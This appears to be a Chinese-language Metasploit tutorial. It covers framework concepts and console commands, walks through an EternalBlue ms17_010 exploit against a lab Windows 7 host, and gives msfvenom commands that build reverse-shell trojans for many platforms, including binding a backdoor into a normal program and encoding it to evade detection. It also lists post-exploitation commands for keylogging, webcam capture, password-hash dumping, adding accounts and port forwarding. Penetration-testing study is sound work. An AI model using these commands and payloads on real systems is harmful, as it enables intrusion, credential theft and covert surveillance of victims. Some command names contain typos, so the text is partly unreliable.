matasploit
matasploit
VVkladg0rmatasploit
前置知识
介绍
Metasploit就是一个漏洞框架。它的全称叫做The Metasploit Framework,简称MSF。是一个免费、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数2000多个已知软件漏洞的专业级漏洞攻击工具。当H.D. Moore在2003年发布MSF时,计算机安全状况也被永久性地改变了。仿佛一夜之间,任何人都可以成为黑客,每个人都可以使用攻击工具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。软件厂商再也不能推迟发布针对已公布漏洞的补丁了,这是因为MSF团队一直都在努力开发各种攻击工具,并将它们贡献给所有MSF用户。
MSF的设计初衷是打造成一个攻击工具开发平台,然而在目前情况下,安全专家以及业余安全爱好者更多地将其当作一种点几下鼠标就可以利用其中附带的攻击工具进行成功攻击的环境。
kali中已经集成了MSF
MSF中的相关概念
- 渗透攻击(Exploit)
渗透攻击是指由攻击者或者渗透测试者利用系统、应用或服务中的安全漏洞,所进行的攻击行为。
流行的攻击技术包括:缓冲区溢出、Web应用程序漏洞攻击,以及利用配置错误等。
- 攻击载荷(Payload)
攻击载何是我们期望目标系统在被渗透攻击后而执行的代码。在MSF框架中可以自由的选择、传送和植入。比如,反弹式shell是一种从目标主机到攻击主机创建网络连接,并提供命令行shell的攻击载荷。bind shell攻击载荷则在目标主机上将命令行shell绑定到一个打开的监听端口,攻击者可以连接这些端口来取得shell交互。
- 溢出代码(Shellcode)
shellcode是在渗透攻击时作为攻击载荷运行的一组机器指令。shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令后,才会提供一个命令行shell或者Meterpreter shell,这也是shellcode名称的由来。
- 模块(Module)
在MSF中,一个模块是指MSF框架中所使用的一段软件代码组件。在某些时候,你可能会使用一个渗透攻击模块(Exploit module),也就是用于实际发起渗透攻击的软件组件。而在其它时候,则可能使用一个辅助模块(auxiliary module),用来扫描一些诸如扫描或系统查点的攻击动作。
MSF中都是按照对应模块进行区分的
- 监听器(Listener)
监听器是MSF中用来等待连入网络连接的组件。举例来说,在目标主机被渗透攻击之后,它可能会通过互联网回连到攻击主机上,而监听器组件在攻击主机上等待被渗透攻击的系统来连接,并负责处理这些网络连接。
配置完攻击载荷后要在本地开启对应的监听器 用于接受发送链接
MSF目录结构
kali中的MSF
cd /usr/share/metasploit-framework
modules里有我们需要的模块
auxiliary–>辅助模块
expoloit–>攻击模块
encoders–>编码模块
nops–>空指令模块
post–>后渗透攻击模块
evasion–>免杀模块
payload–>载荷模块
data中有一些我们需要的工具和用户的接口代码
scripts中存放了我们可利用的脚本
plugins存放的用户加载时会用到的插件
MSF基本命令
MSF中可以直接执行Linux命令
更新MSF
apt-get install metasploit-framework
启动MSF
- msfdb run
- msfcosle
这两条命令都可以启动msf
出现msf6就表明进去了
退出exit
一般用msfdb run
如果数据库报错就exit 然后再用msfcosle
帮助
help
在msf6 >后输help即可
其他
back 返回上一层
info 显示一个或多个模块信息
show 同info
background 把会话挂到后台
use 使用对应模块
set 相应设置
unset 取消相应设置
search 查询模块
这里有个表 常用的
? 执行?命令:帮助菜单
search 搜索模块名和描述。
use 使用命令
back 从当前环境返回。
Banner 命令,显示一个MSF的banner。
color 颜色转换
connect 连接一个主机
exit 退出MSF
info 显示一个或多个模块的信息
irb 进入irb脚本模式。
jobs 显示和管理作业(和windows任务管理器的进程作用一样)
kill 杀死一个作业(和结束进程的作用一样)。
loadpath 加载一个模块的路径。
quit 退出MSF。
load 加载一个插件。
load 加载一个插件。
route 查看一个会话的路由信息。
save 保存动作
set 给一个变量赋值
show 显示给所有类型的模块
setg 把一个赋值给全局变量,例如上述set设置的IP,就会用到其他攻击模块的RHOST中
sleep 在限定的秒数内什么也不做
unload 卸载一个模块
unset 解出一个或多个变量。
unsetg 解出一个或多个全局变量
version 显示MSF和控制台库版本
命名规则
命名规则: 模块/系统(功能)/服务/名称 smb:文件共享服务
name: 名称
Disclosure Date: 发布时间
rank: great good average normal 好不好用
Check: 暂时用不到
Description:描述
这里有一个联合查询:
search name:ms17 type:auxiliary
查到了过后
就可以use 0 使用查找出的编号为0的模块
show options看看这个模块中现有的配置信息
这里的AKA表示别名 通常用于在不同场合引用相同的模块
required:yes 表示必填项
此时就用set 填写相关信息
填完之后就看发起攻击了
两条命令:
- run
- exploit
当出现 meterpreter后就表示攻击成功了
然后就可以利用后渗透模块进行利用了
如果要保存这个会话的话就用background
重新进入session
exploits与payloads相关配置
exploits
RHOST:目标主机IP地址
RPORT:目标主机连接端口
Payload:有效的载荷,成功后返回shell
LHOST:攻击者的IP地址
LPORT:攻击者的端口
shell_find_tag:在一个已建立的连接上创建一个shell。
shell_reverse_tcp:反向连接到攻击者主机并创建一个shell。
bind_tcp:监听一个tcp连接。
reverse_tcp:反向建立tcp连接。
reverse_http:通过HTTP隧道通信并创建一个新用户添加到管理组。
add_user:创建一个新用户并添加到管理组。
xxx_ipv6_tcp:基于IPV6。
xxx_nonx_tcp:no execute或win7(NX是应用在CPU的一种可以防止缓冲区溢出的技术)。
xxx_ord_tcp:有序payload。
xxx_tcp_allports:在所有可能的端口。
payloads
是在使用一个模块之后再去使用的。
命名规则:系统/类型/名称
例如:Windows/dllinject/reverse_tcp
类型命名规则
shell:上传一个shell。
dllinject:注入一个dll到进程。
patchup***:修补漏洞。
upexec:上传并执行一个文件。
meterpreter:高级的payload。
vncinject:高级的payload。
passive:高级的payload。
实操
win7 永恒之蓝
这个漏洞对应的模块时ms17_010
search ms17_010
发现有辅助扫描模块
先用这个模块看看信息
use 24
然后看下配置信息
show options
只需要配置一下rhost
是192.168.49.128
设置rhost
set rhost 192.168.49.128
run
超时了
康康怎么回事
win7没关防火墙
发现存在ms17-010 永恒之蓝漏洞
先search ms17_010
有0和10都可以用
先用0 不行再用10
use 0
同样发现只需要设置rhost
set rhost 192.168.49.128
run/exploit
成功
msfvenom 木马生成模块
参数使用
- –p (- -payload-options) 添加载荷payload。 (- -payload-options 列出payload选项)
- –l 查看所有payload encoder nops。
- –f (- -help-formats) 输出文件格式。(- -help-formats 列出所有文件格式)
- –e 编码免杀。
- –a (- -platform – -help-platforms) 选择架构平台 x86 | x64 | x86_64
- –o 文件输出。
- –s 生成payload的最大长度,就是文件大小。
- –b 避免使用的字符 例如:不使用 ‘\0f’。
- –i 编码次数。
- –c 添加自己的shellcode。
- –x | -k 捆绑。例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。
例子
普通生成
msfvenom -p < payload > < payload options > -f < format > -o < path >
msfvenom –p windows/meterpreter/reverse_tcp lhost=192.168.0.0 lport=3333 –f exe –o C:\back.exe
编码处理
msfvenom -p < payload > -e < encoder > -i < encoder times > -n < nopsled > -f < format > -o < path >
msfvenom –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe
捆绑
Msfvenom –p windows/meterpreter/reverse_tcp –platform windows –a x86 –x C:\nomal.exe –k –f exe –o C:\shell.exe
windows
Msfvenom –platform windows –a x86 –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe
Msfvenom –platform windows –a x86 –p windows/x64/meterpreter/reverse_tcp –f exe –o C:\back.exe
linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= < Your IP Address > LPORT= < Your Port to Connect On > -f elf > shell.elf
mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST= < Your IP Address > LPORT= < Your Port to Connect On > -f macho > shell.macho
php
msfvenom -p php/meterpreter_reverse_tcp LHOST= < Your IP Address > LPORT= < Your Port to Connect On > -f raw > shell.php
asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST= < Your IP Address > LPORT= < Your Port to Connect On > -f asp > shell.asp
aspx
msfvenom -p windows/meterpreter/reverse_tcp LHOST= < Your IP Address > LPORT= < Your Port to Connect On > -f aspx > shell.aspx
jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST= < Your IP Address > LPORT= < Your Port to Connect On > -f raw > shell.jsp
war
msfvenom -p java/jsp_shell_reverse_tcp LHOST= < Your IP Address > LPORT= < Your Port to Connect On > -f war > shell.war
bash
msfvenom -p cmd/unix/reverse_bash LHOST= < Your IP Address > LPORT= < Your Port to Connect On > -f raw > shell.sh
perl
msfvenom -p cmd/unix/reverse_perl LHOST= < Your IP Address > LPORT= < Your Port to Connect On > -f raw > shell.pl
python
msfvenom -p python/meterpreter/reverser_tcp LHOST= < Your IP Address > LPORT= < Your Port to Connect On > -f raw > shell.py
木马利用
木马是在外面生成的
但是木马的利用是通过msf的监听模块
使用exploit/multi/hander模块
use exploit/multi/handler
到这里需要使用payload
我们生成的木马的payload是什么 这里就设置什么
set payload windows/meterpreter/reverse_tcp
然后还需要设置ip和port
IP就设置成本地或者kali的ip
port同样要和前面一样
set lhost 0.0.0.0
set lport 3333
好我们可以看下options
现在我们只需要把demo.exe木马放到目标主机上并运行 在kali上就能监听到
run
后渗透命令
文件相关命令
help 查命令
bgkill 结束一个session会话
bglist 查看脚本列表
exit/quit 退出
getwd 当前运行目录
pwd 看路径
cd 到指定目录
mkdir 创建文件夹
rmdir 删除文件夹
getlwd/lpwd 操纵攻击者自己的路径
lcd 到攻击者自己的电脑的指定目录
cat 查看文件
upload /home/kali/aa.exe C:\\aa.exe 传文件到C盘
download C:\User\Desktop\1.txt 下载文件
edit 编辑文件(没有就会创建文件)
系统相关命令
- getuid 查看当前登录用户
- getsystem 简单提权
- ps 看进程
- sysinfo 查看目标操作系统信息
- shell 打开cmd(乱码的话就 chcp 65001)
- getdesktop 截取目标主机当前屏幕(会话窗口)
- run webcam -p(指定路径) 开对方摄像头
- run getgui -e 开启远程桌面
- run getgui -u user -p 111 添加用户指定密码
- run vnc 看屏幕
- keyscan_start 键盘记录
- kayscan_dump 导出键盘的记录
- keyscan_stop 停止键盘记录
- hashdump 将用户hash导出
这里shell如果是这样的话
这样输命令的话一直没有回显
可以用这个启用bash
python -c "import pty;pty.spawn('/bin/bash')"
它s在Python中创建一个伪终端
端口转发
portfwd add -l 1111 -p 3389 -r 192.168.10.136
将192.168.10.136:3389转到127.0.0.1:1111上
rdesktop 127.0.0.1:1111
成功